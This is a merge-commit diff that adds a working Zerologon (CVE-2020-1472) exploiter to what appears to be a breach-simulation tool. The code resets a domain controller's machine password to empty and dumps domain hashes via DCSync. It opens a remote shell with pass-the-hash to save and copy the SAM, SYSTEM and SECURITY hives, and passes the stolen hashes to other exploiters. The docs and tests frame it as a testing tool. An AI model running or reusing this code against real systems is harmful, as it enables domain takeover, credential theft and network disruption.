Merge pull request #911 from shreyamalviya/zerologon-exploiter

Zerologon Exploiter
This commit is contained in:
Shreya Malviya 2021-02-24 17:58:45 +05:30 committed by GitHub
commit bc3283c4a5
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
20 changed files with 1515 additions and 154 deletions

View File

@ -5,6 +5,9 @@
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
This product includes software developed by SecureAuth Corporation
(https://www.secureauth.com/).
Preamble
The GNU General Public License is a free, copyleft license for

View File

@ -0,0 +1,26 @@
---
title: "Zerologon"
date: 2021-01-31T19:46:12+05:30
draft: false
tags: ["exploit", "windows"]
---
The Zerologon exploiter exploits [CVE-2020-1472](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1472).
This exploiter is unsafe.
* It will temporarily change the target domain controller's password.
* It may break the target domain controller's communication with other systems in the network, affecting functionality.
It is, therefore, **not** enabled by default.
### Description
An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC).
To download the relevant security update and read more, click [here](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1472).
### Notes
* The Infection Monkey exploiter implementation is based on implementations by [@dirkjanm](https://github.com/dirkjanm/CVE-2020-1472/) and [@risksense](https://github.com/risksense/zerologon).

View File

@ -36,6 +36,11 @@ class HostExploiter(Plugin):
# Usual values are 'vulnerability' or 'brute_force'
EXPLOIT_TYPE = ExploitType.VULNERABILITY
# Determines if successful exploitation should stop further exploit attempts on that machine.
# Generally, should be True for RCE type exploiters and False if we don't expect the exploiter to run the monkey agent.
# Example: Zerologon steals credentials
RUNS_AGENT_ON_SUCCESS = True
@property
@abstractmethod
def _EXPLOITED_SERVICE(self):
@ -104,4 +109,5 @@ class HostExploiter(Plugin):
:param cmd: String of executed command. e.g. 'echo Example'
"""
powershell = True if "powershell" in cmd.lower() else False
self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
self.exploit_info['executed_cmds'].append(
{'cmd': cmd, 'powershell': powershell})

View File

@ -0,0 +1,94 @@
import pytest
from infection_monkey.exploit.zerologon import ZerologonExploiter
from infection_monkey.model.host import VictimHost
DOMAIN_NAME = "domain-name"
IP = "0.0.0.0"
NETBIOS_NAME = "NetBIOS Name"
USERS = ["Administrator", "Bob"]
RIDS = ["500", "1024"]
LM_HASHES = ["abc123", "098zyx"]
NT_HASHES = ["def456", "765vut"]
@pytest.fixture
def zerologon_exploiter_object(monkeypatch):
def mock_report_login_attempt(**kwargs):
return None
host = VictimHost(IP, DOMAIN_NAME)
obj = ZerologonExploiter(host)
monkeypatch.setattr(obj, "dc_name", NETBIOS_NAME, raising=False)
monkeypatch.setattr(obj, "report_login_attempt", mock_report_login_attempt)
return obj
def test_assess_exploit_attempt_result_no_error(zerologon_exploiter_object):
dummy_exploit_attempt_result = {"ErrorCode": 0}
assert zerologon_exploiter_object.assess_exploit_attempt_result(
dummy_exploit_attempt_result
)
def test_assess_exploit_attempt_result_with_error(zerologon_exploiter_object):
dummy_exploit_attempt_result = {"ErrorCode": 1}
assert not zerologon_exploiter_object.assess_exploit_attempt_result(
dummy_exploit_attempt_result
)
def test_assess_restoration_attempt_result_restored(zerologon_exploiter_object):
dummy_restoration_attempt_result = object()
assert zerologon_exploiter_object.assess_restoration_attempt_result(
dummy_restoration_attempt_result
)
def test_assess_restoration_attempt_result_not_restored(zerologon_exploiter_object):
dummy_restoration_attempt_result = False
assert not zerologon_exploiter_object.assess_restoration_attempt_result(
dummy_restoration_attempt_result
)
def test__extract_user_creds_from_secrets_good_data(zerologon_exploiter_object):
mock_dumped_secrets = [
f"{USERS[i]}:{RIDS[i]}:{LM_HASHES[i]}:{NT_HASHES[i]}:::"
for i in range(len(USERS))
]
expected_extracted_creds = {
USERS[0]: {
"RID": int(RIDS[0]),
"lm_hash": LM_HASHES[0],
"nt_hash": NT_HASHES[0],
},
USERS[1]: {
"RID": int(RIDS[1]),
"lm_hash": LM_HASHES[1],
"nt_hash": NT_HASHES[1],
},
}
assert (
zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets)
is None
)
assert zerologon_exploiter_object._extracted_creds == expected_extracted_creds
def test__extract_user_creds_from_secrets_bad_data(zerologon_exploiter_object):
mock_dumped_secrets = [
f"{USERS[i]}:{RIDS[i]}:::{LM_HASHES[i]}:{NT_HASHES[i]}:::"
for i in range(len(USERS))
]
expected_extracted_creds = {
USERS[0]: {"RID": int(RIDS[0]), "lm_hash": "", "nt_hash": ""},
USERS[1]: {"RID": int(RIDS[1]), "lm_hash": "", "nt_hash": ""},
}
assert (
zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets)
is None
)
assert zerologon_exploiter_object._extracted_creds == expected_extracted_creds

View File

@ -0,0 +1,45 @@
import pytest
from nmb.NetBIOS import NetBIOS
from infection_monkey.exploit.zerologon_utils.vuln_assessment import \
get_dc_details
from infection_monkey.model.host import VictimHost
DOMAIN_NAME = "domain-name"
IP = "0.0.0.0"
@pytest.fixture
def host():
return VictimHost(IP, DOMAIN_NAME)
def _get_stub_queryIPForName(netbios_names):
def stub_queryIPForName(*args, **kwargs):
return netbios_names
return stub_queryIPForName
def test_get_dc_details_multiple_netbios_names(host, monkeypatch):
NETBIOS_NAMES = ["Name1", "Name2", "Name3"]
stub_queryIPForName = _get_stub_queryIPForName(NETBIOS_NAMES)
monkeypatch.setattr(NetBIOS, "queryIPForName", stub_queryIPForName)
dc_ip, dc_name, dc_handle = get_dc_details(host)
assert dc_ip == IP
assert dc_name == NETBIOS_NAMES[0]
assert dc_handle == f"\\\\{NETBIOS_NAMES[0]}"
def test_get_dc_details_no_netbios_names(host, monkeypatch):
NETBIOS_NAMES = []
stub_queryIPForName = _get_stub_queryIPForName(NETBIOS_NAMES)
monkeypatch.setattr(NetBIOS, "queryIPForName", stub_queryIPForName)
dc_ip, dc_name, dc_handle = get_dc_details(host)
assert dc_ip == IP
assert dc_name == ""
assert dc_handle == "\\\\"

View File

@ -0,0 +1,505 @@
"""
Zerologon, CVE-2020-1472
Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/.
"""
import logging
import os
import re
from binascii import unhexlify
from typing import Dict, List, Optional, Tuple
import impacket
from impacket.dcerpc.v5 import epm, nrpc, rpcrt, transport
from impacket.dcerpc.v5.dtypes import NULL
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets
from infection_monkey.exploit.zerologon_utils.options import OptionsForSecretsdump
from infection_monkey.exploit.zerologon_utils.vuln_assessment import (
get_dc_details, is_exploitable)
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
from infection_monkey.utils.capture_output import StdoutCapture
LOG = logging.getLogger(__name__)
class ZerologonExploiter(HostExploiter):
_TARGET_OS_TYPE = ["windows"]
_EXPLOITED_SERVICE = "Netlogon"
EXPLOIT_TYPE = ExploitType.VULNERABILITY
RUNS_AGENT_ON_SUCCESS = False
MAX_ATTEMPTS = 2000 # For 2000, expected average number of attempts needed: 256.
ERROR_CODE_ACCESS_DENIED = 0xC0000022
def __init__(self, host: object):
super().__init__(host)
self.vulnerable_port = None
self.exploit_info["credentials"] = {}
self._extracted_creds = {}
def _exploit_host(self) -> bool:
self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host)
can_exploit, rpc_con = is_exploitable(self)
if can_exploit:
LOG.info("Target vulnerable, changing account password to empty string.")
# Start exploiting attempts.
LOG.debug("Attempting exploit.")
_exploited = self._send_exploit_rpc_login_requests(rpc_con)
rpc_con.disconnect()
else:
LOG.info(
"Exploit not attempted. Target is most likely patched, or an error was encountered."
)
return False
# Restore DC's original password.
if _exploited:
if self.restore_password():
self.store_extracted_creds_for_exploitation()
LOG.info("System exploited and password restored successfully.")
else:
LOG.info("System exploited but couldn't restore password!")
else:
LOG.info("System was not exploited.")
return _exploited
@staticmethod
def connect_to_dc(dc_ip) -> object:
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
return rpc_con
def _send_exploit_rpc_login_requests(self, rpc_con) -> bool:
for _ in range(0, self.MAX_ATTEMPTS):
exploit_attempt_result = self.try_exploit_attempt(rpc_con)
is_exploited = self.assess_exploit_attempt_result(exploit_attempt_result)
if is_exploited:
return True
return False
def try_exploit_attempt(self, rpc_con) -> Optional[object]:
try:
exploit_attempt_result = self.attempt_exploit(rpc_con)
return exploit_attempt_result
except nrpc.DCERPCSessionError as e:
# Failure should be due to a STATUS_ACCESS_DENIED error.
# Otherwise, the attack is probably not working.
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
except BaseException as e:
LOG.info(f"Unexpected error: {e}")
def attempt_exploit(self, rpc_con: rpcrt.DCERPC_v5) -> object:
request = nrpc.NetrServerPasswordSet2()
ZerologonExploiter._set_up_request(request, self.dc_name)
request["PrimaryName"] = self.dc_handle + "\x00"
request["ClearNewPassword"] = b"\x00" * 516
return rpc_con.request(request)
@staticmethod
def _set_up_request(request: nrpc.NetrServerPasswordSet2, dc_name: str) -> None:
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator["Credential"] = b"\x00" * 8
authenticator["Timestamp"] = b"\x00" * 4
request["AccountName"] = dc_name + "$\x00"
request["ComputerName"] = dc_name + "\x00"
request[
"SecureChannelType"
] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
request["Authenticator"] = authenticator
def assess_exploit_attempt_result(self, exploit_attempt_result) -> bool:
if exploit_attempt_result:
if exploit_attempt_result["ErrorCode"] == 0:
self.report_login_attempt(result=True, user=self.dc_name)
_exploited = True
LOG.info("Exploit complete!")
else:
self.report_login_attempt(result=False, user=self.dc_name)
_exploited = False
LOG.info(
f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong."
)
return _exploited
return False
def restore_password(self) -> bool:
LOG.info("Restoring original password...")
try:
rpc_con = None
# DCSync to get usernames and their passwords' hashes.
LOG.debug("DCSync; getting usernames and their passwords' hashes.")
user_creds = self.get_all_user_creds()
if not user_creds:
raise Exception(
"Couldn't extract any usernames and/or their passwords' hashes."
)
# Use above extracted credentials to get original DC password's hashes.
LOG.debug("Getting original DC password's NT hash.")
original_pwd_nthash = None
for user_details in user_creds:
username = user_details[0]
user_pwd_hashes = [
user_details[1]["lm_hash"],
user_details[1]["nt_hash"],
]
try:
original_pwd_nthash = self.get_original_pwd_nthash(
username, user_pwd_hashes
)
if original_pwd_nthash:
break
except Exception as e:
LOG.info(
f"Credentials didn\'t work. Exception: {str(e)}"
)
if not original_pwd_nthash:
raise Exception("Couldn't extract original DC password's NT hash.")
# Connect to the DC's Netlogon service.
try:
rpc_con = ZerologonExploiter.connect_to_dc(self.dc_ip)
except Exception as e:
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
return False
# Start restoration attempts.
LOG.debug("Attempting password restoration.")
_restored = self._send_restoration_rpc_login_requests(
rpc_con, original_pwd_nthash
)
if not _restored:
raise Exception("Failed to restore password! Max attempts exceeded?")
return _restored
except Exception as e:
LOG.error(e)
return False
finally:
if rpc_con:
rpc_con.disconnect()
def get_all_user_creds(self) -> List[Tuple[str, Dict]]:
try:
options = OptionsForSecretsdump(
target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0"
target_ip=self.dc_ip,
dc_ip=self.dc_ip,
)
dumped_secrets = self.get_dumped_secrets(
remote_name=self.dc_ip, username=f"{self.dc_name}$", options=options
)
self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets)
creds_to_use_for_getting_original_pwd_hashes = []
admin = "Administrator"
for user in self._extracted_creds.keys():
if user == admin: # most likely to work so try this first
creds_to_use_for_getting_original_pwd_hashes.insert(
0, (user, self._extracted_creds[user])
)
else:
creds_to_use_for_getting_original_pwd_hashes.append(
(user, self._extracted_creds[user])
)
return creds_to_use_for_getting_original_pwd_hashes
except Exception as e:
LOG.info(
f"Exception occurred while dumping secrets to get some username and its password's NT hash: {str(e)}"
)
return None
def get_dumped_secrets(
self,
remote_name: str = "",
username: str = "",
options: Optional[object] = None,
) -> List[str]:
dumper = DumpSecrets(
remote_name=remote_name, username=username, options=options
)
dumped_secrets = dumper.dump().split("\n")
return dumped_secrets
def _extract_user_creds_from_secrets(self, dumped_secrets: List[str]) -> None:
# format of secret we're looking for - "domain\uid:rid:lmhash:nthash:::"
re_phrase = r"([\S]*[:][0-9]*[:][a-zA-Z0-9]*[:][a-zA-Z0-9]*[:][:][:])"
for line in dumped_secrets:
secret = re.fullmatch(pattern=re_phrase, string=line)
if secret:
parts_of_secret = secret[0].split(":")
user = parts_of_secret[0].split("\\")[-1] # we don't want the domain
user_RID, lmhash, nthash = parts_of_secret[1:4]
self._extracted_creds[user] = {
"RID": int(user_RID), # relative identifier
"lm_hash": lmhash,
"nt_hash": nthash,
}
def store_extracted_creds_for_exploitation(self) -> None:
for user in self._extracted_creds.keys():
self.add_extracted_creds_to_exploit_info(
user,
self._extracted_creds[user]["lm_hash"],
self._extracted_creds[user]["nt_hash"],
)
self.add_extracted_creds_to_monkey_config(
user,
self._extracted_creds[user]["lm_hash"],
self._extracted_creds[user]["nt_hash"],
)
def add_extracted_creds_to_exploit_info(
self, user: str, lmhash: str, nthash: str
) -> None:
self.exploit_info["credentials"].update(
{
user: {
"username": user,
"password": "",
"lm_hash": lmhash,
"ntlm_hash": nthash,
}
}
)
# so other exploiters can use these creds
def add_extracted_creds_to_monkey_config(
self, user: str, lmhash: str, nthash: str
) -> None:
if user not in self._config.exploit_user_list:
self._config.exploit_user_list.append(user)
if lmhash not in self._config.exploit_lm_hash_list:
self._config.exploit_lm_hash_list.append(lmhash)
if nthash not in self._config.exploit_ntlm_hash_list:
self._config.exploit_ntlm_hash_list.append(nthash)
def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> str:
if not self.save_HKLM_keys_locally(username, user_pwd_hashes):
return
try:
options = OptionsForSecretsdump(
dc_ip=self.dc_ip,
just_dc=False,
system=os.path.join(os.path.expanduser("~"), "monkey-system.save"),
sam=os.path.join(os.path.expanduser("~"), "monkey-sam.save"),
security=os.path.join(os.path.expanduser("~"), "monkey-security.save"),
)
dumped_secrets = self.get_dumped_secrets(
remote_name="LOCAL", options=options
)
for secret in dumped_secrets:
if (
"$MACHINE.ACC: " in secret
): # format of secret - "$MACHINE.ACC: lmhash:nthash"
nthash = secret.split(":")[2]
return nthash
except Exception as e:
LOG.info(
f"Exception occurred while dumping secrets to get original DC password's NT hash: {str(e)}"
)
finally:
self.remove_locally_saved_HKLM_keys()
def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool:
LOG.info(
f'Starting remote shell on victim with credentials:\n'
f'user: {username}\n'
f'hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : '
f'{self._config.hash_sensitive_data(user_pwd_hashes[1])}'
)
wmiexec = Wmiexec(
ip=self.dc_ip, username=username, hashes=':'.join(user_pwd_hashes), domain=self.dc_ip
)
remote_shell = wmiexec.get_remote_shell()
if remote_shell:
with StdoutCapture() as output_captor:
try:
# Save HKLM keys on victim.
remote_shell.onecmd(
"reg save HKLM\\SYSTEM system.save && "
+ "reg save HKLM\\SAM sam.save && "
+ "reg save HKLM\\SECURITY security.save"
)
# Get HKLM keys locally (can't run these together because it needs to call do_get()).
remote_shell.onecmd("get system.save")
remote_shell.onecmd("get sam.save")
remote_shell.onecmd("get security.save")
# Delete saved keys on victim.
remote_shell.onecmd("del /f system.save sam.save security.save")
wmiexec.close()
return True
except Exception as e:
LOG.info(f"Exception occured: {str(e)}")
finally:
info = output_captor.get_captured_stdout_output()
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
else:
raise Exception("Could not start remote shell on DC.")
return False
def remove_locally_saved_HKLM_keys(self) -> None:
for name in ["system", "sam", "security"]:
path = os.path.join(os.path.expanduser("~"), f"monkey-{name}.save")
try:
os.remove(path)
except Exception as e:
LOG.info(
f"Exception occurred while removing file {path} from system: {str(e)}"
)
def _send_restoration_rpc_login_requests(
self, rpc_con, original_pwd_nthash
) -> bool:
for _ in range(0, self.MAX_ATTEMPTS):
restoration_attempt_result = self.try_restoration_attempt(
rpc_con, original_pwd_nthash
)
is_restored = self.assess_restoration_attempt_result(
restoration_attempt_result
)
if is_restored:
return is_restored
return False
def try_restoration_attempt(
self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str
) -> Optional[object]:
try:
restoration_attempt_result = self.attempt_restoration(
rpc_con, original_pwd_nthash
)
return restoration_attempt_result
except nrpc.DCERPCSessionError as e:
# Failure should be due to a STATUS_ACCESS_DENIED error.
# Otherwise, the attack is probably not working.
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
except BaseException as e:
LOG.info(f"Unexpected error: {e}")
return False
def attempt_restoration(
self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str
) -> Optional[object]:
plaintext = b"\x00" * 8
ciphertext = b"\x00" * 8
flags = 0x212FFFFF
# Send challenge and authentication request.
server_challenge_response = nrpc.hNetrServerReqChallenge(
rpc_con, self.dc_handle + "\x00", self.dc_name + "\x00", plaintext
)
server_challenge = server_challenge_response["ServerChallenge"]
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con,
self.dc_handle + "\x00",
self.dc_name + "$\x00",
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
self.dc_name + "\x00",
ciphertext,
flags,
)
assert server_auth["ErrorCode"] == 0
session_key = nrpc.ComputeSessionKeyAES(
None,
b"\x00" * 8,
server_challenge,
unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"),
)
try:
nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse)
request = NetrServerPasswordSet()
ZerologonExploiter._set_up_request(request, self.dc_name)
request["PrimaryName"] = NULL
pwd_data = impacket.crypto.SamEncryptNTLMHash(
unhexlify(original_pwd_nthash), session_key
)
request["UasNewPassword"] = pwd_data
rpc_con.request(request)
except Exception as e:
LOG.info(f"Unexpected error: {e}")
return rpc_con
def assess_restoration_attempt_result(self, restoration_attempt_result) -> bool:
if restoration_attempt_result:
LOG.debug(
"DC machine account password should be restored to its original value."
)
return True
return False
class NetrServerPasswordSet(nrpc.NDRCALL):
opnum = 6
structure = (
("PrimaryName", nrpc.PLOGONSRV_HANDLE),
("AccountName", nrpc.WSTR),
("SecureChannelType", nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
("ComputerName", nrpc.WSTR),
("Authenticator", nrpc.NETLOGON_AUTHENTICATOR),
("UasNewPassword", nrpc.ENCRYPTED_NT_OWF_PASSWORD),
)
class NetrServerPasswordSetResponse(nrpc.NDRCALL):
structure = (
("ReturnAuthenticator", nrpc.NETLOGON_AUTHENTICATOR),
("ErrorCode", nrpc.NTSTATUS),
)

View File

@ -0,0 +1,275 @@
# Copyright (c) 2000 SecureAuth Corporation. All rights
# reserved.
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in
# the documentation and/or other materials provided with the
# distribution.
# 3. The end-user documentation included with the redistribution,
# if any, must include the following acknowledgment:
# "This product includes software developed by
# SecureAuth Corporation (https://www.secureauth.com/)."
# Alternately, this acknowledgment may appear in the software itself,
# if and wherever such third-party acknowledgments normally appear.
# 4. The names "Impacket", "SecureAuth Corporation" must
# not be used to endorse or promote products derived from this
# software without prior written permission. For written
# permission, please contact oss@secureauth.com.
# 5. Products derived from this software may not be called "Impacket",
# nor may "Impacket" appear in their name, without prior written
# permission of SecureAuth Corporation.
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
# WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
# ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
# USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
# OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
# SUCH DAMAGE.
import logging
import os
import traceback
from impacket.examples.secretsdump import (
LocalOperations,
LSASecrets,
NTDSHashes,
RemoteOperations,
SAMHashes,
)
from impacket.smbconnection import SMBConnection
from infection_monkey.utils.capture_output import StdoutCapture
LOG = logging.getLogger(__name__)
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
# Used to get Administrator and original DC passwords' hashes
class DumpSecrets:
def __init__(self, remote_name, username="", password="", domain="", options=None):
self.__use_VSS_method = options.use_vss
self.__remote_name = remote_name
self.__remote_host = options.target_ip
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ""
self.__nthash = ""
self.__smb_connection = None
self.__remote_ops = None
self.__SAM_hashes = None
self.__NTDS_hashes = None
self.__LSA_secrets = None
self.__system_hive = options.system
self.__bootkey = options.bootkey
self.__security_hive = options.security
self.__sam_hive = options.sam
self.__ntds_file = options.ntds
self.__no_lmhash = options.no_lmhash
self.__is_remote = options.is_remote
self.__do_kerberos = options.k
self.__just_DC = options.just_dc
self.__just_DC_NTLM = options.just_dc_ntlm
self.__can_process_SAM_LSA = options.can_process_SAM_LSA
self.__kdc_host = options.dc_ip
self.__options = options
if options.hashes is not None:
self.__lmhash, self.__nthash = options.hashes.split(":")
def connect(self):
self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host)
self.__smb_connection.login(
self.__username,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
)
def dump(self): # noqa: C901
with StdoutCapture() as output_captor:
dumped_secrets = ""
try:
if self.__remote_name.upper() == "LOCAL" and self.__username == "":
self.__is_remote = False
self.__use_VSS_method = True
if self.__system_hive:
local_operations = LocalOperations(self.__system_hive)
bootkey = local_operations.getBootKey()
if self.__ntds_file is not None:
# Let's grab target's configuration about LM Hashes storage.
self.__no_lmhash = local_operations.checkNoLMHashPolicy()
else:
import binascii
bootkey = binascii.unhexlify(self.__bootkey)
else:
self.__is_remote = True
bootkey = None
try:
try:
self.connect()
except Exception as e:
if (
os.getenv("KRB5CCNAME") is not None
and self.__do_kerberos is True
):
# SMBConnection failed. That might be because there was no way to log into the
# target system. We just have a last resort. Hope we have tickets cached and that they
# will work
LOG.debug(
"SMBConnection didn't work, hoping Kerberos will help (%s)"
% str(e)
)
else:
raise
self.__remote_ops = RemoteOperations(
self.__smb_connection, self.__do_kerberos, self.__kdc_host
)
self.__remote_ops.setExecMethod(self.__options.exec_method)
if (
self.__just_DC is False
and self.__just_DC_NTLM is False
or self.__use_VSS_method is True
):
self.__remote_ops.enableRegistry()
bootkey = self.__remote_ops.getBootKey()
# Let's check whether target system stores LM Hashes.
self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy()
except Exception as e:
self.__can_process_SAM_LSA = False
if (
str(e).find("STATUS_USER_SESSION_DELETED")
and os.getenv("KRB5CCNAME") is not None
and self.__do_kerberos is True
):
# Giving some hints here when SPN target name validation is set to something different to Off.
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/.
LOG.error(
"Policy SPN target name validation might be restricting full DRSUAPI dump."
+ "Try -just-dc-user"
)
else:
LOG.error("RemoteOperations failed: %s" % str(e))
# If RemoteOperations succeeded, then we can extract SAM and LSA.
if (
self.__just_DC is False
and self.__just_DC_NTLM is False
and self.__can_process_SAM_LSA
):
try:
if self.__is_remote is True:
SAM_file_name = self.__remote_ops.saveSAM()
else:
SAM_file_name = self.__sam_hive
self.__SAM_hashes = SAMHashes(
SAM_file_name, bootkey, isRemote=self.__is_remote
)
self.__SAM_hashes.dump()
except Exception as e:
LOG.error("SAM hashes extraction failed: %s" % str(e))
try:
if self.__is_remote is True:
SECURITY_file_name = self.__remote_ops.saveSECURITY()
else:
SECURITY_file_name = self.__security_hive
self.__LSA_secrets = LSASecrets(
SECURITY_file_name,
bootkey,
self.__remote_ops,
isRemote=self.__is_remote,
)
self.__LSA_secrets.dumpCachedHashes()
self.__LSA_secrets.dumpSecrets()
except Exception as e:
LOG.debug(traceback.print_exc())
LOG.error("LSA hashes extraction failed: %s" % str(e))
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work.
if self.__is_remote is True:
if self.__use_VSS_method and self.__remote_ops is not None:
NTDS_file_name = self.__remote_ops.saveNTDS()
else:
NTDS_file_name = None
else:
NTDS_file_name = self.__ntds_file
self.__NTDS_hashes = NTDSHashes(
NTDS_file_name,
bootkey,
isRemote=self.__is_remote,
noLMHash=self.__no_lmhash,
remoteOps=self.__remote_ops,
useVSSMethod=self.__use_VSS_method,
justNTLM=self.__just_DC_NTLM,
)
try:
self.__NTDS_hashes.dump()
except Exception as e:
LOG.debug(traceback.print_exc())
if str(e).find("ERROR_DS_DRA_BAD_DN") >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
# of enough privileges to access DRSUAPI.
resume_file = self.__NTDS_hashes.getResumeSessionFile()
if resume_file is not None:
os.unlink(resume_file)
LOG.error(e)
if self.__use_VSS_method is False:
LOG.error(
"Something wen't wrong with the DRSUAPI approach. Try again with -use-vss parameter"
)
self.cleanup()
except (Exception, KeyboardInterrupt) as e:
LOG.debug(traceback.print_exc())
LOG.error(e)
if self.__NTDS_hashes is not None:
if isinstance(e, KeyboardInterrupt):
resume_file = self.__NTDS_hashes.getResumeSessionFile()
if resume_file is not None:
os.unlink(resume_file)
try:
self.cleanup()
except Exception:
pass
finally:
dumped_secrets = (
output_captor.get_captured_stdout_output()
) # includes hashes and kerberos keys
return dumped_secrets
def cleanup(self):
LOG.debug("Cleaning up...")
if self.__remote_ops:
self.__remote_ops.finish()
if self.__SAM_hashes:
self.__SAM_hashes.finish()
if self.__LSA_secrets:
self.__LSA_secrets.finish()
if self.__NTDS_hashes:
self.__NTDS_hashes.finish()

View File

@ -0,0 +1,47 @@
from dataclasses import dataclass
@dataclass()
class OptionsForSecretsdump:
bootkey = None
can_process_SAM_LSA = True
dc_ip = None
debug = False
exec_method = "smbexec"
hashes = None
is_remote = True
just_dc = True
just_dc_ntlm = False
k = False
keytab = None
no_lmhash = True
no_pass = True
ntds = None
sam = None
security = None
system = None
target = None
target_ip = None
ts = False
use_vss = False
def __init__(
self,
dc_ip=None,
just_dc=True,
sam=None,
security=None,
system=None,
target=None,
target_ip=None,
):
# dc_ip is assigned in get_original_pwd_nthash() and get_admin_pwd_hashes() in ../zerologon.py
self.dc_ip = dc_ip
# just_dc becomes False, and sam, security, and system are assigned in get_original_pwd_nthash() in ../zerologon.py
self.just_dc = just_dc
self.sam = sam
self.security = security
self.system = system
# target and target_ip are assigned in get_admin_pwd_hashes() in ../zerologon.py
self.target = target
self.target_ip = target_ip

View File

@ -0,0 +1,178 @@
# Copyright (c) 2000 SecureAuth Corporation. All rights
# reserved.
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in
# the documentation and/or other materials provided with the
# distribution.
# 3. The end-user documentation included with the redistribution,
# if any, must include the following acknowledgment:
# "This product includes software developed by
# SecureAuth Corporation (https://www.secureauth.com/)."
# Alternately, this acknowledgment may appear in the software itself,
# if and wherever such third-party acknowledgments normally appear.
# 4. The names "Impacket", "SecureAuth Corporation" must
# not be used to endorse or promote products derived from this
# software without prior written permission. For written
# permission, please contact oss@secureauth.com.
# 5. Products derived from this software may not be called "Impacket",
# nor may "Impacket" appear in their name, without prior written
# permission of SecureAuth Corporation.
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
# WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
# ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
# USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
